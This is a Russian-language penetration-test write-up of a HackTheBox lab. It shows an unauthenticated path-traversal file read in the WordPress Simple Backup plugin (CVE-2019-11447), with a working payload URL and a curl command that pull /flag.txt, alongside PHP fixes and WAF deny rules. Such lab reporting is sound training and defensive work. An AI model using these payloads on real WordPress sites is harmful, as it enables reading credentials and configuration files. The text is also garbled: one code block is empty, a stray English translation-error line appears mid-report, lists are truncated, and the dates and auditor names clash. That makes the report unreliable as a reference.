
Подробный отчёт о тестировании на проникновение, демонстрирующий неаутентифицированный обход пути (CVE-2019-11447) в плагине Simple Backup для WordPress, включающий этапы эксплуатации, анализ воздействия и рекомендации по устранению уязвимости.
| Параметр | Значение |
|---|
| Название документа | Отчёт о тестировании на проникновение - WordPress Path Traversal |
| Клиент/Экзамен | HackTheBox Lab - CPTS Exercise 1 |
| Дата | 22 августа 2026 г. |
| Исполнитель | Cyberia (специалист по тестированию на проникновение) |
| Тип оценки | Серый ящик (внешний, без учётных данных) |
| Лабораторная среда | 154.57.164.73:30706 |
| Продолжительность лабораторной работы | 1 час |
| Цели | Выявить и использовать уязвимости для получения ограниченных файлов |
| Полученный флаг | HTB{my_f1r57_h4ck} |
В ходе данной оценки безопасности веб-приложения, размещённого на 154.57.164.73:30706, была выявлена критическая уязвимость, позволяющая неаутентифицированным злоумышленникам загружать и читать произвольные файлы из файловой системы сервера.
Уязвимая установка WordPress содержит устаревший плагин (Simple Backup v2.7.10) с уязвимостью обхода пути (CVE-2019-11447), которая позволяет несанкционированный доступ к файлам без необходимости аутентификации или авторизации.
Эта уязвимость была успешно использована для получения файла /flag.txt из корня сервера, что подтверждает полную утрату конфиденциальности. Злоумышленник с таким доступом может:
wp-config.php, .env)Требуется немедленное принятие критических мер для устранения этой уязвимости, поскольку она представляет чрезвычайный риск для безопасности данных, соответствия требованиям конфиденциальности (GDPR, HIPAA, PCI-DSS) и целостности системы.
| Критичность | Количество | Влияние на бизнес |
|---|---|---|
| 🔴 КРИТИЧЕСКИЙ | 1 | Полное нарушение конфиденциальности; несанкционированный доступ к файлам |
| 🟠 ВЫСОКИЙ | 0 | — |
| 🟡 СРЕДНИЙ | 0 | — |
| 🟢 НИЗКИЙ | 0 | — |
| ℹ️ ИНФОРМАЦИОННЫЙ | 1 | Обнаружены устаревшие версии программного обеспечения |
Тип оценки: Серый ящик (внешний злоумышленник, без предоставленных учётных данных, доступ к сети имеется)
Даты оценки: 22 августа 2026 г.
Подход к тестированию: Нескрытное, методичное тестирование в соответствии с отраслевым стандартом тестирования на проникновение (PTES):
CVE-2019-11447 | CWE-22: Некорректное ограничение пути к ограниченному каталогу
Плагин WordPress Simple Backup (версии 2.7.10/2.7.11, Exploit-DB 39883) содержит уязвимость обхода пути на странице администратора «Backup Manager». Плагин не проверяет путь к файлу, передаваемый через GET-параметр download_backup_file, что позволяет злоумышленнику выйти за пределы целевого каталога simple-backup/ с помощью последовательностей относительных путей (../) и скачать любой файл, доступный для чтения процессу веб-сервера, — включая файлы в корне файловой системы.
Уязвимая конечная точка:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` направляет запрос в обработчик административной страницы плагина; `download_backup_file` — это параметр, который код плагина считывает напрямую и подставляет в путь файловой системы без валидации, что позволяет выполнить обход каталога (directory traversal).
---
### Оценка CVSS v3.1
**7.5 - ВЫСОКИЙ** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **Вектор атаки (AV):** Сеть
- **Сложность атаки (AC):** Низкая
- **Требуемые привилегии (PR):** Отсутствуют
- **Взаимодействие с пользователем (UI):** Отсутствует
- **Область воздействия (S):** Без изменений
- **Конфиденциальность (C):** Высокая
- **Целостность (I):** Отсутствует
- **Доступность (A):** Отсутствует
---
### Бизнес-влияние
**Нарушение конфиденциальности:** ⚠️ КРИТИЧЕСКИЙ
Злоумышленники могут прочитать любой файл, доступный веб-серверу, включая:
| Файл | Влияние | Уровень риска |
|------|--------|------------|
| `/wp-config.php` | Учётные данные БД, соли, ключи | 🔴 КРИТИЧЕСКИЙ |
| `/.env` | API-ключи, секреты, конфигурация | 🔴 КРИТИЧЕСКИЙ |
| `/etc/passwd` | Перечисление пользователей, составление карты системы | 🟠 ВЫСОКИЙ |
| SSH-ключи (`.ssh/id_rsa`) | Латеральное перемещение, доступ к системе | 🔴 КРИТИЧЕСКИЙ |
| `/proc/self/environ` | Секреты работающего приложения | 🟠 ВЫСОКИЙ |
| Каталог загрузок пользователей | Личные файлы, медиа | 🟠 ВЫСОКИЙ |
**Регуляторное воздействие:**
- **Нарушение GDPR:** Несанкционированный доступ к пользовательским данным
- **Нарушение HIPAA:** Раскрытие защищённой медицинской информации
- **Нарушение PCI-DSS:** Доступ к данным банковских карт или платёжной информации
- **Нарушение SOC 2:** Нарушение требования конфиденциальности
---
### Паттерн уязвимого кода
В бюллетене Exploit-DB (39883.txt, читается через `searchsploit -x` — см. [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) задокументирован примитив **delete** плагина из `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
I don't see any content to translate in the input. The INPUT: section is empty. Please provide the actual Markdown chunk text.```php
$bk_dir = ABSPATH."simple-backup/";
unlink($bk_dir . $filename);
`$filename` берётся напрямую из `$_GET['delete_backup_file']` без проверки `basename()` или контроля пути. Передача `../pizza.txt` приводит к тому, что `$bk_dir . $filename` разрешается в `.../simple-backup/../pizza.txt` → `.../pizza.txt`, что позволяет выйти за пределы предназначенной папки резервных копий.
Примитив **download**, который фактически был использован в рамках этого задания (`download_backup_file`), использует ту же самую небезопасную схему конкатенации в том же плагине, но вместо удаления файла отдаёт его обратно запрашивающей стороне — именно это позволило извлечь `/flag.txt` из корня файловой системы (10× `../` от `ABSPATH/simple-backup/`).
**Проблема:**
- Отсутствие использования `basename()` для удаления компонентов каталога
- Отсутствие белого списка допустимых файлов
- Отсутствие проверки того, что `realpath()` остаётся в пределах `ABSPATH."simple-backup/"`
- Прямая конкатенация пользовательского ввода в путь к файлу
- Отсутствие проверки `current_user_can()` / аутентификации перед отдачей файла — обработчик запускается при загрузке плагина, до собственного шлюза аутентификации WordPress `wp-admin`, поэтому он доступен **без входа в систему**
---
### Подтверждение концепции
#### **Этап 1: Первоначальный доступ — идентификация приложения**
Подключились напрямую к цели через браузер (`http://154.57.164.73:30706/`). Установка WordPress называется **«GETTING STARTED»**, а публичная запись в блоге на главной странице раскрывает точное название и версию плагина открытым текстом: **«Simple Backup Plugin 2.7.10 for WordPress»** — для идентификации уязвимого компонента даже не потребовалось инструментов перебора.

#### **Этап 2: Идентификация сервиса**```bash
whatweb http://154.57.164.73:30706/
Результат: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 подтверждена через сигнатуры плагинов MetaGenerator и WordPress.

searchsploit simple backup wordpress
**Результат:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Читаем полный advisory, чтобы понять точные уязвимые параметры и путь выполнения кода:```bash searchsploit -x php/webapps/39883.txt
The advisory documents unauthenticated **Arbitrary File Deletion** via the `delete_backup_file` parameter, and notes that backup files under `simple-backup/` (and, by the same unsanitized code path, arbitrary files via `download_backup_file`) can be retrieved without authentication.

#### **Phase 4: Exploitation — Path Traversal via `download_backup_file`**
Vulnerable endpoint identified from the plugin's admin page routing:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
Полезная нагрузка эксплойта (10× ../ для перехода от ABSPATH/simple-backup/ обратно к корню файловой системы):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**Графический интерфейс (используемый в этой оценке):** URL-адрес payload открывался напрямую в адресной строке браузера. Вход не требовался — браузер автоматически запустил скачивание итогового `flag.txt`.

**Эквивалент в headless-режиме:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
Flag Obtained: HTB{my_f1r57_h4ck}
Уязвимость срабатывает, потому что:
$_GET['download_backup_file'] не проверяется по белому спискуrealpath() не используется для проверки того, что файл остаётся внутри simple-backup/../) не фильтруютсяABSPATH."simple-backup/"wp-admin — доступен без входа в системуcurrent_user_can(), подтверждающая, что запрашивающий имеет право доступа к запрошенному файлуСхема атаки:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### Проверка воздействия
✅ **Нарушение конфиденциальности:** Все файлы, доступные для чтения процессу веб-сервера, становятся доступны
✅ **Аутентификация не требуется:** Неаутентифицированные пользователи могут воспользоваться уязвимостью
✅ **Взаимодействие с пользователем не требуется:** Эксплуатация через прямой HTTP-запрос
✅ **Повторяемо и надёжно:** Работает на всех уязвимых версиях
✅ **Критически важные бизнес-данные под угрозой:** Файлы конфигурации, учётные данные, пользовательские данные раскрываются
---
## Устранение уязвимости
### **Вариант 1: Белый список ввода (рекомендуется)**
Разрешить загрузку только из предопределённого списка файлов:```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Преимущества:
Используйте realpath() для канонизации путей и проверки вхождения:```php
**Преимущества:**
- Обрабатывает симлинки и сложные пути
- Автоматически проверяет вхождение в директорию
- Более гибкий, чем белый список
---
### **Вариант 3: Использование basename() только для имени файла**
Извлечение только компонента имени файла:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Преимущества:
Примечание: Этот подход работает только если все легитимные файлы находятся в одном каталоге без подкаталогов.
Правила межсетевого экрана веб-приложений (WAF):```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**Разрешения файловой системы:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
Ведение журналов доступа и мониторинг:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**Управление обновлениями:**
1. Отключите или удалите плагин Simple Backup
2. Установите одобренное решение для резервного копирования с аудитом безопасности
3. Обновите WordPress до последней версии
4. Обновите все плагины до последних версий
5. Обновите PHP до 8.0+ с патчами безопасности
---
## Цепочка атак```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
Критическая уязвимость path traversal в плагине Simple Backup для WordPress позволяет неаутентифицированным атакующим скачивать и читать произвольные файлы с сервера. Данная уязвимость была успешно использована для получения конфиденциальных файлов из корня веб-каталога.
Уровень риска: 🔴 КРИТИЧЕСКИЙ
| Приоритет | Действие | Срок | Ответственный |
|---|---|---|---|
| 🔴 P0 | Отключить/удалить плагин Simple Backup | Немедленно | Безопасность/Ops |
| 🔴 P0 | Внедрить валидацию файлов на основе белого списка | На этой неделе | Разработка |
| 🟠 P1 | Развернуть правила WAF для блокировки обхода пути | На этой неделе | Ops |
| 🟠 P1 | Проверить журналы сервера на предмет несанкционированного доступа | На этой неделе | Безопасность |
| 🟠 P1 | Ротировать все скомпрометированные учётные данные (БД, SSH, API) | На этой неделе | Ops |
| 🟡 P2 | Обновить ядро WordPress и все плагины | На этой неделе | Ops |
| 🟡 P2 | Внедрить мониторинг целостности файлов | В следующем спринте | Безопасность |
| 🟡 P2 | Провести полный аудит безопасности остальных плагинов | В следующем спринте | Безопасность |
Находка: Сайт WordPress «GETTING STARTED» публично раскрывает установленный плагин и его версию в блоге — «Simple Backup Plugin 2.7.10 for WordPress»
Находка: Подтверждены Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1
Находка: «WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities» (php/webapps/39883.txt)
Находка: В бюллетене описано неаутентифицированное произвольное удаление файлов через delete_backup_file; тот же путь кода без санитизации применим к download_backup_file
Находка: Переход по адресу tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt вызывает неаутентифицированное скачивание flag.txt: HTB{my_f1r57_h4ck}
CVE-2019-11447 — обход пути в Simple Backup
CWE-22 — Некорректное ограничение имени пути к ограниченному каталогу ('Path Traversal')
Оценка CVSS v3.1: 7.5 (Высокий)
OWASP Top 10 — A01:2021 Нарушенный контроль доступа
OWASP Path Traversal
PortSwigger Web Security Academy — Path Traversal
SearchSploit — поиск по Exploit Database
NMAP — Network Mapper
WhatWeb — инструмент идентификации веб-технологий
Данный отчёт описывает тест на проникновение, проведённый с соответствующим разрешением и в рамках определённого объёма.
| Параметр | Значение |
|---|---|
| Статус отчёта | ✅ Завершён |
| Находки подтверждены | ✅ Да |
| Рекомендации реализуемы | ✅ Да |
| Конфиденциальность | 🔒 Высокая |
| Распространение | Ограничено уполномоченным персоналом |
Аудитор: Capivara Root (тестер на проникновение)
Дата: 11 августа 2026 г.
Подпись: Электронный отчёт — физическая подпись не требуется
© 2026 Оценка теста на проникновение | Конфиденциально